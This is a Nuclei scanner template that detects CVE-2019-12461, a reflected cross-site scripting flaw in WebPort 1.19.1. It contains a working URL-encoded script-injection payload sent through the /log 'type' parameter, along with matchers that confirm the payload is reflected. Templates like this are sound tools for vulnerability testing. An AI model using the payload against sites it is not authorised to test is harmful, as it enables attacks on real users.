nuclei-templates/http/cves/2019/CVE-2019-12461.yaml

50 lines
1.6 KiB
YAML

id: CVE-2019-12461
info:
name: WebPort 1.19.1 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: Web Port 1.19.1 is vulnerable to cross-site scripting via the /log type parameter.
remediation: |
Upgrade to the latest version of WebPort (1.19.2 or higher) which includes a fix for this vulnerability.
reference:
- https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
- https://webport.se/nedladdningar/
- https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS/
- https://emreovunc.com/blog/en/WebPort-Reflected-XSS-02.png
- https://nvd.nist.gov/vuln/detail/CVE-2019-12461
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-12461
cwe-id: CWE-79
epss-score: 0.00269
epss-percentile: 0.64252
cpe: cpe:2.3:a:webport:web_port:1.19.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: webport
product: web_port
tags: cve,cve2019,xss
http:
- method: GET
path:
- '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"</script><script>alert(document.domain);</script><script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502210098b8ca825c35fdf7e87f780b80b81752cec69d2aeaabcd8811f5664b54e50480022059089a9d9ae47961e18d92caf1cd89ed07d402289613db135a71e95f4f7da299:922c64590222798bb761d5b6d8e72950